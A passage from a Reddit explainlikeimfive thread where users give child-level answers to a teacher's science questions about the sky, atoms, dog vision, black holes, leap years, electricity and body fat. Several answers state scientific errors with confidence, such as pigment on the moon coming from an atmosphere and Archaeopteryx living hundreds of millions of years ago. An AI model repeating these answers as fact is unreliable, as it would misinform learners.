a video](_URL_0_)", "10) Not all people think in sounds. For me, I think mostly in pictures or feelings or smells. If you've never heard anything before the brain still plenty of other senses that give it things/ways to think about things.\n\n17) I know the majority of people are saying no, but I consider sign language a form of talking. Would you be able to talk like the majority of people? No. After learning sign language will you be able to express thoughts and ideas and communicate? Yes.\n\n22) I would say that having fat in the body is like having canned food in the pantry versus having just fresh food in the refrigerator. Canned food can last a long time while fresh food gets used up faster (or should at least). Fat is the body's way of putting \"food\" away for a rainy day. ", "Here's my try for #11:\n\nDogs actually don't see in black and white. They can see colors from blue-ish grey to tan. When you look at your eyes in a mirror, you see a black circle in each of them. This is called your pupil. Light comes into your pupil from everything around you, and there are special cells in your eyes that receive that light. For humans, the special cells in our eyes, called \"rods\" and \"cones,\" are able to pick up all the colors of the rainbow (red, orange, yellow, green, blue, indigo, and violet), and any combinations in between. The special cells in dogs' eyes, though, are different from ours. Theirs can only see the world in colors from blue-ish grey to tan. For example, what looks like green to us looks almost white to a dog. Where we see red, dogs see tan; and what looks like purple for us is actually a blue to grey shade for dogs.\n\nNinja edit: [Graph of human and dog vision, as well as other related content.](_URL_0_)", "3) Fingernails have many uses - they allow us to feel better with our fingers (its hard to visualise but when we push down on something with our fingers, our fingers are pushed into the nail, and the brain turns both of these pressures into just one). They also act as protection for the delicate fingertip, which has lots of 'touch sensors', and can be used as tools - like for removing splinters or tacks.\n\nThis wasn't part of the question but toenails exist because thousands and thousands and thousands of years ago, humans (or if they understand evolution, our evolutionary ancestors) looked more like monkeys than the humans that we see today, and they were able to use their feet like hands, picking things up and holding onto them. The toenails are just a remnant of that that haven't disappeared. \n\nAs to why we're not covered in nails, I suppose it's just that we never evolved to be that way. That said, there could be disadvantages to 'nail armour' - we could be less flexible, or the extra weight might mean more energy is required to walk, or it could take more energy to grow the armour itself.", " >  25) How come when your feet are cold your tears are still warm?\n\nDid anyone see this as the most depressing question? \"Why does this child have cold feet that they are apparently weeping on?\"", "12) A lot of people are saying that \"nobody invented math.\" This is... confusingly difficult. Math was discovered, a long time ago, probably by the Egyptians, the Sumerians, or the Indians (the real Indians, from India, not America). They used it to count things, like other people have mentioned. We don't know for sure, because we invented writing before we invented buildings, and we invented math before we invented writing. We know that people were using math sometime around 2500 BC.\n\nNow, the thing that everybody else is mentioning is that much later, between 600 and 300 BC, the Greeks started *studying* mathematics. There's a difference between using it and studying it. The Greeks wanted to know how mathematics worked and how to use mathematics to solve problems. Following the Greeks another few thousand years, many more things about mathematics were learned by more modern mathematicians like Leibniz and Newton, who individually discovered calculus. When somebody discovers something new in math, they tell everybody about it and explain why they're right.^1\n\n[1]: they write a proof", "7.\n  Reddit will hate this answer but I am pretty sure that it comes from the Genesis Creation story.  That doesn't mean that nonreligious people don't use seven day weeks, it's just where the number came from.  If the ancient Jews said that God made the Earth in eight days, I think we would have an eight day calender.", "I just wanted to state that these are the best questions I've seen in [/r/explainlikeimfive](/r/explainlikeimfive) since I subscribed.", "#10. What do deaf people hear when they think?\nPicture a dog in your head. Now picture the dog running. You did a lot of thinking when picturing that dog, and then thinking about the dog moving, but you did it without turn it into words. Blind people do similar things with their thoughts.", "I'll answer some as well (don't know which have been answered).\n\n1. Our sun shoots a lot of light towards earth, enough to cover basically half of it at a time (that's it's night time right now in australia). Anyhow, when that light hits earth, our atmosphere, which is made of oxygen, carbon, nitrogen and other elements, absorbs that light and shoots it out again, but instead of shooting it the exact way it came from the sun, it shoots it out blue and in a different directions, so in the end, all we see is blue, at night, the sun isn't there so we see the universe.\n\n2. Atoms are made of 3 types of tiny tiny little particles (like small sand grains but smaller) called Protons and neutrons that are jammed tight against one another AND electrons that fly like satellites around the neutrons and protons. If you go even deeper, you'll see that protons and neutrons are made of qwarks even smaller particles.  For anything deeper than that, we have yet to find a satisfying answer. \n\n3. \n\n4. Don't know.\n\n5. Adam and eve of course. Don't you read the bible? No, kidding. Its difficult to determine who the first human on earth was because its not like humans just POOF appeared. Through a process called evolution, Creatures that were born, were born a little different that their parents (For example, you give birth to a child with slightly more muscular build than normal humans. Then he would have a family that is more muscular, for millions of years his genes would spread and make it so that there is a population of humans that are more muscular than others. Then say ALIENS invade us and they can easily fight the lesser muscular humans but cannot take on the muscular ones, after a while all the less muscular humans will have died, leaving the muscled ones to live and fight and have more babies. Once the aliens are gone and the dust has settled, you will have a new race of more muscular humans. Imagine a similar scenario but from monkeys to humans (i.e less hair, straighter back, feet for millions of years).\n\n6. The earth goes around the sun in 365.25 days, and we use a calendar to keep track of that orbit. The problem is the 0.25 adds up. So how do we fix it? Well every four years we add one day to make up for the 0.25 not counted.\n\n7. Don't know, probably because someone started it and it worked out :-)\n\n8. I don't think there is a defined and certain answer but evolutionist have postulated that it is similar to the cries of animals, in a sense that through evolution we have established these \"behaviors\" to improve our survival rate because we can communicate i.e Crying signals fear and trouble so everyone hides from the coming lions, laughing signals that everything is okay and that we can mate, etc.\n\n9. Again, no one is really sure but the gravity is SOO strong that by the time you get to the event horizon (the opening) you will have been squished to death into a tiny particle.\n\n10. This was answered before on reddit by a deaf person, they said that they thought in sign language in the same way as us.\n\n11. Again, evolution. They see that way because it is all they need to see their prey and predator which allows them to survive. \n\n12. Math is the sum of the work done by THOUSANDS of mathematicians through thousands of years. How exactly? Well sometime a long time ago (I believe in rome or greece?) Someone decided that he could categorize his sheep by numbers. So then and there, he invented 1 = 1 then 1sheep + 1sheep = 2sheep. He then shared this knowledge, and soo everyone used Additions. But then someone came and was like \" HEY WHAT IF A SHEEP DIES?!\". I assume after sometime, someone found out that 2-1 = 1 and that 1-1 = Nothing. Then later, someone decided that nothing = 0. This has been on for millenniums, so after all of these years, we have developed and are still working on making more math. So no one really holds the title of math inventor. There are, however, some people that have done very important and difficult things in math and have published it (Euclid, Pythagoras, Fermi, Newton, Descartes).\n\n13. Uhh number 1 explains this.\n\n14. Not for me. Don't know no why.\n\n15. When an event happens where what we have or what we are cannot help us survive. Kind of like the Aliens in my previous answers. Another example would be SUDDENLY, NO MORE SOURCE OF VITAMIN C ON EARTH (no capacity to synthesize either). All the humans would die (after a while), except for those in the human population that either can make Vitamin C some other way or don't need it (from the luck of evolution). Then those guys would mate and create a new human race that does not need Vit. C. It is also possible that something SOO BIG happens that no human that exists can survive, like the sun exploding or a gigantic meteor massacres earth or an all  infecting death virus.\n\n16. The dust and the material that surround the moon reflect all the absorb all the colors except the one opposite to grey. So it give it the color grey.\n\n17. There are many many many words that you will no longer be able to say properly.\n\n18. Remember the electrons we talked about from the atom? Well electricity is when those things move around. We can make them move around using a variety of methods, like friction or magnets.\n\n19. You have a lot of nerves in you nose that are linked to specific \"Smelling cells\" When super small particles like tiny orange pieces or tiny poop pieces or methane touch those cells, they react a specific way for each substance, the nerves then take this reaction to the brain and the brain makes you smell. The cells don't react to everything though, so that's why you don't smell Carbon monoxide. Why? Evolution.\n\n20. Yes they are, and they possess children in their sleep.\n\n21. A deaf person.\n\n22. Our body can make energy from sugar, so when you eat that mars bar and you are very tired, your body will break down the Chocolate bar and use the sugar molecules for energy. But if you aren't tired, the body decide to store that sugar, how? By making it into fat. So that if you are tired again, and have to Mars bar, the body can take that fat and use it for energy.\n\n23. Same things as humans, through evolution there must have been a point where a creature was born with some properties of a bird, no one can tell you when a BIRD was born.\n\n24. Cars ignite fuel to create a tiny explosion that moves the pistons in the engine which then moves the tires forward. Those pistons move up and down kind of like your legs when you bike. But they do so in a very very tightly sealed chamber, so to avoid an insane amount of friction with the sides of the chamber, oil is lubrication. Oil also acts other places in a car such as hinges and brakes.\n\n25. The inside of your body is always 37Celsius, sometimes your feet are cold because heat escapes them but that doesn't change the inside of your body.\n\n26. not sure.\n\n27. Not sure.\n\n28. \n\n29. \n\n30. Through evolution, though this was a looooooooooooooong time ago, the circulatory system was developed. What does it do? It takes all the nutrients the stomach absorbed from your food and passes it through the whooollle body thanks to blood, so that every cells can get some nutrients as well. \n\n31. We still do not know the EXACT answer to that question, the big bang started it all... Huge explosion where only two kinds of atoms were produced; Hydrogen and Helium. Because at the time it was super hot, a lot of them fused together and made different atoms and those guys fused together and so forth. ", "OP, I think there are great answers here but I just don't have time to read them all, which was the same thing with your original thread. Since I trust you are reading all the replies, do you think you could edit this post (and your original one as well if you don't mind) with the best answer under each question (or at least what you think is the best and you have presented/will present to your students)?", "Let me try a few of these.\n\nA1:  Short answer: DUST. Long answer: sunlight hits the dust and scatters in all directions, including at your eyes.  This light can come from any part of the sky that has sunlight moving through it. Hence, during the daytime, any part of the sky looks light (not dark, like during night time).  This light covers the much dimmer light of the stars.  If you were someplace with no dust or other matter in the air around you (like on the surface of the moon) you'd be able to see the stars (\"universe\") even when the sun was high in the sky.  This is exactly what our astronauts reported and you can even see pics on the internet.\n\nA30: We need blood because we are large. Small creatures (amoeba, parmaecium, bacteria) need no blood because they are small enough that the stuff they need to live gets into their cells directly. For us, and other largish living animals, blood is like a superhighway that brings this stuff from the outside world (oxygen, water, food, salt, etc) to our inner cells. Plants don't have blood, but they do have \"sap\" which serves pretty much the same function.\n\nA27: BECAUSE GOD IS PUNISHING US FOR BEING NAUGHTY.  (Sorry, couldn't resist).\n\nA20: If you mean the floaty things that are left over after someone dies, that glow in the dark and go \"woooooooo\" at you, then the answer is no.  On the other hand, people imagine they see ghosts all the time. And so, for those people, in that moment, ghosts are, in a sense \"real\" in the same way that anything you can imagine is real.  Your imagination makes it real, for you. Very deep philosophical issue here, by the way.  Philosophers have made entire careers out of trying to answer the question \"what makes something real?\"\n\nA22: Two answers\n\n a) FAT is a great way to store energy.  Ounce for ounce, of the food you eat, the stuff that contains the most raw energy is fat (biologists call it \"lipids\").  BTW, there are dozens (hundreds?) of kinds of fat, some of which is very good for you and some of which not so good. To the extent that your body can digest and metabolize them, they will all give you lots of energy, much more than sugar will.\n\n  Answer b) because fat makes your central nervous system (Brain and all the other stuff connected to it) function correctly.  Most people don't know that the brain is largely composed of lipids, from all the cells around neurons (called glial cells) that wrap the axons (your brain's wiring) like insulation on electrical wires. Without that insulation, your CNS would go haywire. Indeed, certain terrible diseases (ALS, MS, many others) are situations where the fat around your neurons starts deteriorating/being destroyed.  If you starve, your body will attempt to keep you alive by metabolizing the fat in your body, so you get thin. However, the fat in your nervous system WILL NEVER BE METABOLIZED by starvation.  If your body were to do so, your CNS would cease to function and you'd die.\n\nA17: You couldn't really talk in the normal fashion, using your mouth. But you certainly could talk using your hands and arms (using sign language).\n\nA15: Yes. Individually, we will all die someday.  At some point, given enough time, we will reach the point where there are no more humans.  HOWEVER, evolutionary theory tells us that even though our ancestral species (australopithecines, etc) are extinct (i.e. \"dead\"), we (their descendants) are still here. So, in a sense, even though those species died, they live on in us. It is entirely possible that if you ran the clock forward a billion years or so, you might not find anyone recognizably human, but you may find the descendants of humans still roaming around the earth. FINALLY, if we or our descendants never escape the planet earth and the solar system, we will all eventually die when the sun dies, 8 billion years from now.", "20)  Are ghosts real?  \n\nGhosts as we think of them (spirits of the dead) aren't real.  When people think they see ghosts, it's usually a combination them being scared and expecting to see a ghost.  \n\n24) Why does a car need oil?  \n\nA car uses oil to keep it from breaking.  When things rub together, they get hot.  When things get very hot, they are easier to break.  Oil makes those things more slippery.  Slippery things take much longer to get hot from rubbing.  So, by keeping all the car's engine parts slippery, it keeps them from breaking because of heat.  \n\n11) Why do dogs only see in black and white?  \n\nWell, actually, they see more than just black and white, but not as many colors as people.  Inside our eyes are tiny spots that tell the brain what color and shape we're looking at.  Dogs have less of those spots than people, so their brain cannot get as much information about which color the dog is looking at, and just makes the best guess.  Dogs make up for their limited color sight with their incredible noses, which are many many times more powerful that peoples' noses.  \n\n8) Why do we laugh, smile and cry?   \n\nWe do these things so other people can know how we feel.  Knowing how another individual is feeling can be a huge advantage in surviving.  The more something can show it's feelings the better of a chance it has at communicating to others.  Imagine a bunch of puppies.  They see a turtle in their yard and run up to investigate.  One of the puppies gets too close and the turtle nips him on the nose.  The puppy yelps loudly, and the other puppies run away.  The other puppies ran because they understood that the yelp meant their friend was hurt, and that the strange shelled creature that hurt him, could hurt them as well.  \nShowing our emotions has helped us come as far as we have, as humans. \n\n", "I'm going to be silly and attempt to answer quite a few:\n\n1) Why do we see the sky when we look up and not the universe?\n\nThe sky itself contains some particles that are nearly completely see-through. But in the same way that you can't see through a see-through lightbulb when it's on, during the daytime there is so much sunshine that the sky itself refracts (like reflect, but slightly different) a part of sunlight down to earth. We call it refract because it \"bends\" part of light toward us. There is so much more blue light being refracted toward us that we don't see the sky anymore. In fact, blue light is being refracted toward us the most, which is also why the sun appears yellow.\n\n2) What are atoms made of?\n\nAtoms are made of smaller parts; in basis there are three very common subatomic particles called Electrons, Neutrons and Protons. These are again built from even smaller things called Quarks (but that's a bit down). Other than that, a basic atom has X electrons, X protons (same amount!) and N neutrons. The amount of protons / electrons (X) determines what type of atom it is and how it behaves. Depending on how many neutrons there are it'll be more or less stable. \n\n4) Why did the Big Bang explode?\n\n5) Who was the first person on Earth?\n\nDepends entirely on your definition of \"the first person\". We didn't come into existence at some point. It's a bit like \"What came first, the chicken or the egg?\" - at what point do you start to call the thing that came out of a primordial chicken a chicken, or a chicken egg?\n\n6) Why is a year 365 days? Why not 366 or 364?\n\nA year doesn't have 365 days at all, we just tend to round it to that because it is pretty close. A year is actually 365.2425 days (with still a bit of rounding). To fix this, we have a leap year every 4 years (making it 365.25), then we skip the leap year every 100 years (so we get 365.24) and then we re-add the leap day every 400th year. That ends us up with 365.2425 days per year, which is pretty close to accurate. Then, to have a more precise time, we have leap seconds to compensate for very minor changes in second-precision details. These are much less unpredictable and are only added occasionally.\n\n7) Why is there seven days in a week?\n\nNo reason. Seriously; there's no direct scientific rational explanation for a week.\n\n9) What happens when you go in a black hole in space?\n\nTime around you will accelerate (relatively) but you won't be able to notice that. Beyond the \"event horizon\" we can't predict what will happen. Most likely though, you'll die pretty quickly and be absorbed as part of the black hole's singularity. On a more positive note though, you're going to have to try really hard to get there - they're really far away and we couldn't get you there with current technology if we tried, before you turned really old.\n\n12) Who invented math?\n\nAgain, what is \"inventing math\"? Using numbers for calculations, depending on details, were the Romans and the Arabs. There were some Greek inventions that helped us along and a lot of complex mathematics were invented in the past 200 years allowing us to understand more of the world. But who invented it - there's probably a few legions of very clever scientists who did a part of it.\n\n13) What is the sky?\n\nThe sky is the region above you where there's a lot of air. It's kept there by gravity, in the same way that you are kept on the planet. The air doesn't all stay down as it \"flows\" up due to pressure. Due to gravity it won't fly away either, so it's effectively caught up in a globe-shape around the world. \n\nIf you go higher up, you get to the outer bits of the sky where there is less \"air\" but more other components, such as ozone. These help to keep the air we have - and the rest of our environment - safer from cosmic rays of all sorts that would make living here very hard otherwise. The combination of the regular sky (air) and these layers above it make this planet inhabitable.\n\n18) How does electricity work?\n\nRemember the discussion above about atoms? Electricity is those electrons being in atoms that allow them to move freely. You also need two special bits of material - one that has excess electrons and one that has a deficit. Typically, this doesn't happen unless both are kept together closely due to some special effects. We have a cheap source for this effect - a battery. \n\n24) Why does a car need oil?\n\nTry making your hands really dry (wash them with lots of dishwashing detergent) and then try to move them across paper. Then try to do that when they're slightly wet. After that, try to do them when they're oiled up. The oiled up ones are a lot easier to move.\n\nA car could probably run without oil, but it's so much cheaper to run it with oil, so we design them to need oil in the first place.", "**21) Who thought of sign language?**\n\nWhen a family has a deaf child, they often make up signs to communicate basic needs like \"food\" and \"water.\" They don't have a meeting to decide how to sign things, but the family figures out what works over time. Eventually, if you get enough deaf people together who use these signs with their family, they get to combine signs and get more advanced. Eventually, you have a sign language!\n\nELIT (Explain Like I'm a Teacher) Explanation: Here's the more [advanced background](_URL_0_) of how that happens. ", "Let me try!\n\n >  1) Why do we see the sky when we look up and not the universe?\n\n(I think this one means the day sky)\n\nHave you seen the stars at night? They look like tiny bright spots, right? They look like that because they are very very far away form us. Now, the sun is also a star, just like the ones you see at night, but the thing is that it's much closer to us.\n\nImagine a really big dark room with a lot of people in it. Each one has a candle and they all lit it at the same time. I am right next to you with a lit candle; then I put the candle right in front of your eyes and I put my hand right behind the candle. It's kind of hard to see the other candles, isn't it? That's because my candle is nearest to you and a lot of its light goes and bounces off my hand.\n\nThe same happens with the sky. Since the sun is much closer to us than the other stars, it light makes it a bit hard to see the other stars during the day.\n\n >  2) What are atoms made of?\n\nImagine a merry-go-round, one with many platforms in circles, bigger as they get further away from the center. There are three big things in here: the operator (the guy that switches the whole thing on and off), the engine/machine that makes it go round and the seats.\n\nAn atom is similar to this merry go round, it has 3 different parts:\n\n1. The engine has gears and belts and many different parts and it defines the size and shape of the carousel (after all, you can't have a big engine for a small carousel of vice versa). In an atom, these pieces are called **protons**\n2. The seats that may be removed (and some of them can be put on other carousels), but they are almost always the same number. These are called the **electrons**.\n3. The operators, which doesn't seem to do much but are always close to the engine. There sometimes vary in number but they always are similar to the engine size (a big engine needs a big team of operators). These are called **neutrons**\n\n >  12) Who invented math?\n\nWhat you see today in math class is actually a lot of things that have been invented [1] by many people over thousands of years and for many, many different purposes: some of them wanted to know how large was their house or garden, some wanted to know how much should they pay for their groceries, and some wanted to know what was the size of the Earth. In order to solve these and many other problems, they invented a way to figure out the solutions. These ways of figuring out solutions is what we call **Math**\n\n[1] For the grown-ups: I remember seeing some articles discussing whether math is an invention or a discovery. I haven't read them thoroughly, so I choose to stick to simplicity and answer as I would explain a 5 year old (that is, without specifics like these that are correct but may make it hard to understand at ELI5 level)\n\n >  18) How does electricity work?\n\nRemember the carousel in question 2? Remember how the seats can sometimes be removed or inserted in the carousel? Well, electricity is something like this: \n\nImagine 5 carousels in a line, but each of them has space for one extra seat. Then in one end of the line comes a guy with a seat and wants it to pass to the other side of the line. since he doesn't want to carry the seat all the way (it's very heavy) he gets an idea: he puts the seat in the empty space of the carousel and goes around until it's near the 2nd carousel. Then he takes off the seat from the 1st carousel and puts it on the 2nd (because that's much easier than carrying it all the way). Then, when he goes near the 3rd carousel he does the same thing, all the way until the end of the line.\n\nSo electricity works something like that: an atom receives and then gives one electron in a big, big, big line of atoms.\n\n >  22) Why is there fat in our bodies?\n\nHave you seen mom or dad stopping for gas every once in a while? Well, that's because the car needs gas in order to run, and so the gas is stored inside the car. If you didn't store gas inside the car, mom would have to be putting gas in the motor all the time (at the same time as she is driving, which would be very hard)\n\nSo, it's the same for us. We eat to get energy, just like the car needs gas. But since we need energy all the time to stay alive, it would be very difficult to be eating all the time. So what our bodies do is that some of the food we eat is stored so we can use it later without stopping every 5 minutes to eat.\n\n >  25) How come when your feet are cold your tears are still warm?\n\nDid you know the most important parts of you are in the chest? It's true! The heart, the lungs and many other things are clumped together in what is called you torso (the chest and belly). They are very important and delicate, they need to be warm to function. Other parts of the body can function well even if they are cold.\n\nWhen it's very cold outside, the body says \"OK, since the heart and the organs inside are very important, we must take care of them first, they have to be warm even if the feet are cold\" So, the body works extra hard to keep everything inside you warm, including your tears.\n\nRemember the fat in our bodies? It serves as energy for keeping us warm, so it's like having an extra supply of warm ;)", "14.) Tears are stored near our eyes in a sac, like a balloon. When we yawn, our face muscles tighten around and squeeze this balloon, and a little bit of tears spill out of our eyes.", "**1. Why do we see the sky when we look up and not the universe?**\n\nWe see the universe at night, and we see the internal reflections of the sun's light \nin the atmosphere during the day.\n\n**2. What are atoms made of?**\n\nProtons, neutrons and electrons.  These are just smaller particles that make up atoms\nand give atoms their characteristics.\n\n**4. Why did the Big Bang explode?**\n\nThe big bang started as a result of an event called \"the singularity\".  Why it started in the very beginning is not known to anyone, we only know what happened after it started.  After this point, something called the\n\"inflationary period\" occurred where space was being added to the universe faster\nthan the speed of light.  The universe cooled allowing for mass (at first just hydrogen and helium) to form, which eventually formed into stars.  The stars created other elements within their cores, and when they exploded planets could be made with these other elements, including earth.\n\n**5. Who was the first person on Earth?**\n\nThe first modern humans on earth were probably a group that lived in Africa about 200,000\nyears ago.  They would have been very similar to their parents.  In fact to name a\nprecise generation when our ancestors went from Homo heidelbergensis to Homo sapiens\nis not easy since evolution is a continuum of gradual changes.  Genetically we could say that there\nwere the first ancestors to gain or lose certain modern human-specific genes, but even with these genetic differences, their parents would have been closer to them than they are to us.\n\n**6. Why is a year 365 days? Why not 366 or 364?**\n\nThe length of a year is determined by the repeating cycle of the longest day of \nsummer and shortest day of winter.  This is determined by how fast the earth orbits\nthe sun.  Scientists observed that the duration of this orbit is actually 365.24219 \ndays.  So every 4 years we add an extra day, which gives us a 365.25 approximation.  \nWe then subtract one leap year every 100 years wich gives us a 365.24 approximation.\nThen we add another leap year every 400 years which gives us a 365.2425 approximation\nwhich most people think is good enough.\n\n**8. Why do we laugh, smile and cry?**\n\nThis is an involuntary or instinctive response to our internal emotions.\n\n**9. What happens when you go in a black hole in space?**\n\nThis is very complicated but the space and gravity in there are very extreme.  You\nget stretched so thin that you break apart.  But before you die from that you will\nsee the space all around you looking very warped.\n\n**10. What do deaf people hear when they think?**\n\nDeaf people don't hear anything when they think.  Do you hear something when you\ndraw a picture?  Does drawing pictures require thinking?\n\n**11. Why do dogs only see in black and white?**\n\nThe Dog's eye genes only make yellow and blue rods and cones.\n\n**12. Who invented math?**\n\nMath is not a single idea, but a lot of ideas.  Many people made many of these ideas.\nThe person who thought of adding was probably different from the person who thought\nof multiplication.  There are at least three known math origins.  One was in Sumeria, \nwhere people counted in order to trade perform trade.  The Egyptians then learned from \nthem, and added the idea of geometry to plan buildings and do basic arithmetic.  The \nGreeks learned from them and did more advanced arithmetic, geometry and astronomy.  A \nsecond origin was in Mexico, where the Mayans devised arithmetic in order to construct \na calendar.  A third origin was in China.\n\n**13 What is the sky?**\n\nThe sky is the region around the earth that includes the atmosphere.  Its where the air \nthat we breath accumulates.\n\n**15. Will the human race die?**\n\nWe cannot say for sure, but 99% of all other species have died before us.\n\n**16. Why is the moon gray?**\n\nThe moon does not have an atmosphere to change the optics of the light reflected off\nof it.  Furthermore the material that moon is made of doesn't have pigment.  Pigment\nitself occurrs as the result of atmospheric side-effects.\n\n**17. If you lose your tongue, can you still talk?**\n\nNo.  The different kinds of sounds you produce depends on the shape of the air cavity left behind in your mouth by your tongue.\n\n**20. Are ghosts real?**\n\nNo.  These are just fantasy stories that seem real because they are scary.  Things are only real if there is evidence for them, not because they make us feel a certain way.\n\n**21. Who thought of sign language?**\n\nIt seems that sign language can be invented spontaneously by just [bringing young\ndeaf children together](_URL_0_).\nThis has happened multiple times in our history.  More official sign languages, like ASL were codified when people tried to make it something could be taught as part of regular education.\n\n**23. What was the first kind of bird on Earth?**\n\nWe don't know exactly, but it would have been an evolved therapod dinosaur.  Some fossils such as [Microraptor](_URL_1_) were \nfairly close to this transition.\n\n**24. Why does a car need oil?**\n\nThe axles of various moving wheels and gears needs this oil, otherwise the metal parts would just rub against each other which would cause friction and make the car less efficient.\n\n**28. How do you put the lead in a pencil?**\n\nA pencil is made of two wood pieces with a slot for the compressed graphite to fit into.  The graphite is placed in the slot of one half.  The second half is then placed on top with a layer of glue in between.\n\n**30. Why do we need blood?**\n\nWe need oxygen to make our brain and other parts of our body go.  Blood is a liquid that can store, carry and release oxygen quickly.\n", "Ok im game. lets do this reddit.\n\n1) Why do we see the sky when we look up and not the universe? We do. we just dont see too many stars because the sun is too bright to really observe anything. \n\n2) What are atoms made of? Protons, particles with positive energy, Neutrons, particles with neutral energy, and electrons, particles with negative energy. So pretty much just very small particles, and really thats the basic breakdown of everything.\n\n3) Why do we have fingernails on our fingertips? Why doesn\u2019t it cover our whole body? Because we dont need them anywhere else. Fingernails are for gripping and breaking, we wouldnt need them on our eyelids. Pretty much, we as a species evolved until we had them.\n\n4) Why did the Big Bang explode? Because so much energy was built up within the particle holding in the universe that it pretty much just exploded. Its like shaking a soda can, everything just built up until it couldnt be contained.\n\n5) Who was the first person on Earth? According to the bible? Adam, but since this is a school, i have to say there was no definitive first person, and we just kind of evolved as a whole. Humans are estimated to go back like 4 million years or so.\n\n6) Why is a year 365 days? Why not 366 or 364? Because 365 is the closest number of days that it takes for the earth to make one full revolution around the sun. Actually, a year is roughly 365.25 days, so every 4 years we have an extra day, which is why we have leap years. [This video helps explain this](_URL_0_)\n\n7) Why is there seven days in a week? Its based off of the bible, where God created the universe in 6 days, and rested the 7th one, sunday. Im fairly certain societys not influenced by christianity did not have this system, like the Myans\n\n8) Why do we laugh, smile and cry? same reason dogs wag their tail, and cats purr. Its just the way the brain expresses emotion\n\n9) What happens when you go in a black hole in space? No one is sure, considering no ones ever been through one. Theres a lot of theories, like that they reappear in a different place in the universe, or even in a different universe, but thats a very complicated idea\n\n10) What do deaf people hear when they think? From what i understand about this, deaf people think in their natural language: sign language. they imagine pictures and signs as a way to articulate their thoughts.\n\n11) Why do dogs only see in black and white? They dont. they have the necessary parts in their eyes to see color, saying they dont is an old wives tale.\n\n12) Who invented math? Ancient humans did as their brains evolved, math has been around for thousands of years. even as babies, we have some concept of math, to the extent that we know greater than and less than, and some basic counting. so no one \"invented\" math, it just sort of came to be, like language and writing.\n\n13) What is the sky? its everything thats a far distance above the earths surface\n\n14) Why after you yawn do tears fall out? Tears come out of these sacks under our eyelids, and when we yawn, we put pressure in these sacks and they release fluids\n\n15) Will the human race die? YES IN 2012 THE MYANS SAID SO. jk, but we will eventually. either we go extinct on earth, but if we live like 5 billion years, we get to be engulfed by the sun. but if we manage to find another place, theres a lot of evidence that the big bang will begin to revert, and we will be engulfed. but not in our life time\n\n16) Why is the moon gray? because the dirt on there is gray.\n\n17) If you lose your tongue, can you still talk? not really, but you can make noises\n\n18) How does electricity work? Its the movement of electrons from atoms. Often, atoms will exchange their electrons and share them with one another. when they do that, they form a current of electron movement, resulting in electricity.\n\n19) How does a nose smell things? The nose has sensors within the naval cavities that detect scents. they send these signals to the brain, which creates the euphoria of smell.\n\n20) Are ghosts real? no\n\n21) Who thought of sign language? early humans did. it just kind of evolved into a way of communication for those who are deaf or mute. People use signs everyday, like waving hello or giving a thumbs up.\n\n22) Why is there fat in our bodies? fat provides insulation for temperatures, and allows our bodies not to lose heat based on temperature. \n\n23) What was the first kind of bird on Earth? Archaeopteryx. its was around hundreds of millions of years ago, and theyre extict.\n\n24) Why does a car need oil? it cleans the engine and allows it to run more smoothly. \n\n25) How come when your feet are cold your tears are still warm? this question disturbs me. anyway, only your feet's skin feels cold. your body is actually always around 98 degrees. the body heats the tears, so theyre warm. the feet feel cold because they were around cold.\n\n26) Why are there clouds? water evaporates and condescends in the atmosphere.\n\n27) Why do we have nightmares? dreams are pretty much creations by the brain during sleep. after a traumatic experience like a scary movie, the brain wants to express these traumas during sleep.\n\n28) How do you put the lead in a pencil? i actually dont know this haha. im guessing they drill a hole and fill it in?\n\n29) How do we get helium if it goes in the air? its purified through some cleansing process, im not sure exactly how its done.\n\n30) Why do we need blood? it carries oxygen to various parts of the body to give it the energy it needs.\n\n31) How did atoms get created cause practically they are everywhere. they just manifested themselves after the big bang.\n\nfeel free to correct me if i did something wrong", "Eh, I'm a little late, but I know a fair amount about some of these topics, so I'll give it a shot. Hopefully this won't get buried, because I think my answers explain the topics well in a way a 10 (or 5)-year old can understand.\n\n---\n\n**6) Why is a year 365 days? Why not 366 or 364?**\n\nWell, a day is how long the Earth takes to spin around one time. When you're facing the sun, you spin away from it, then you're back again. That's a whole day. A year is how long it takes the Earth to go *around* the sun all the way. It just so happens that 365 days happen in that amount of time (actually it's 365 plus a little bit, but leap years take care of that).\n\n**9) What happens when you go in a black hole in space?**\n\nThe closer you get to a black hole, the stronger it pulls on you. You get stretched out, but because of how the black hole works, you wouldn't notice it! Then you get to a certain point and you can't get out of the black hole. But you're still being pulled to the middle, and it's so far away you'd take a really long time to get there. So if you fell in a black hole, you'd get to the middle after a long time. No one really knows what happens then, but until then, you wouldn't even notice you were in it.\n\n**11) Why do dogs only see in black and white?**\n\nDogs can actually see in color, just not as well as we can. There are different parts in your eye called rods and cones; the rods help you see at night when there's less light, and the cones help you see color when it's brighter. Dogs have more rods than we do, and less cones. So their colors are a lot duller, but they can see in the dark a lot better than us.\n\n**13) What is the sky?**\n\nThe sky is nothing. It's just a bunch of air! You look up, and all you're seeing is space from where you are on Earth. It looks like a big ceiling sometimes, but really there's nothing there.\n\n**18) How does electricity work?**\n\nEverything is made up of tiny things called atoms, and these things have even tinier things spinning around them called electrons inside. When they're hit by certain things, they give the electrons to atoms around them. When you have a thin wire, like in electric things, the electrons all get passed down the line when you give it electricity. And when it comes out the other end, you can use it as energy!\n\n**22) Why is there fat in our bodies?**\n\nFat is our bodies' way of storing energy. When you run around a lot, you get tired, and that's because it takes energy to do it. The energy comes from food that you eat, and your body needs some way to keep it until you need a lot of it. You need it more when you exercise, but you always need some; that's why you lose fat when you don't eat. You use it up as energy!\n\n**26) Why are there clouds?**\n\nAll the water on Earth in rivers, lakes, and oceans is exposed to the Sun. The Sun heats up the water over time, and the water gets so hot that it breaks away from the ocean, river, or what have you, and rises up to the sky. This is called *evaporation*. When a bunch of water does this at the same time, it clumps together in the sky as clouds. It's colder up higher, though, so the water turns back to normal and becomes heavy again and falls down as rain. When it's really cold, the water freezes, and that's how we get snow!", "2) What are atoms made of?\n\nAtoms are made of three things: electrons, neutrons and protons.  Protons and neutrons are stuck together by something called the strong nuclear force, this clump of neutrons and protons is in the middle of the atom and we call it the nucleus.  The electrons are much smaller than the protons and neutrons (which are already very small to begin with) and they orbit around the nucleus in a \"cloud,\" sort of like how the planets orbit around the sun.\n\n18) How does electricity work?\n\nElectricity works just like flowing water in pipes.  If you have a pipe with water in it, and one end of the pipe is higher up than the other end, then the water will flow through the pipe and come out the other end.  With electricity it's the same idea, except instead of water in pipes it's electrons in wires.  The way you \"lift up\" one end of the wire is by putting something called a voltage on one end, which is just like putting the electrons on little hills that only they can feel.  Once you have electrons flowing you can use them to do work, just like flowing water can turn a turbine in a power plant or the wheel of a mill.\n\nInteresting side note: 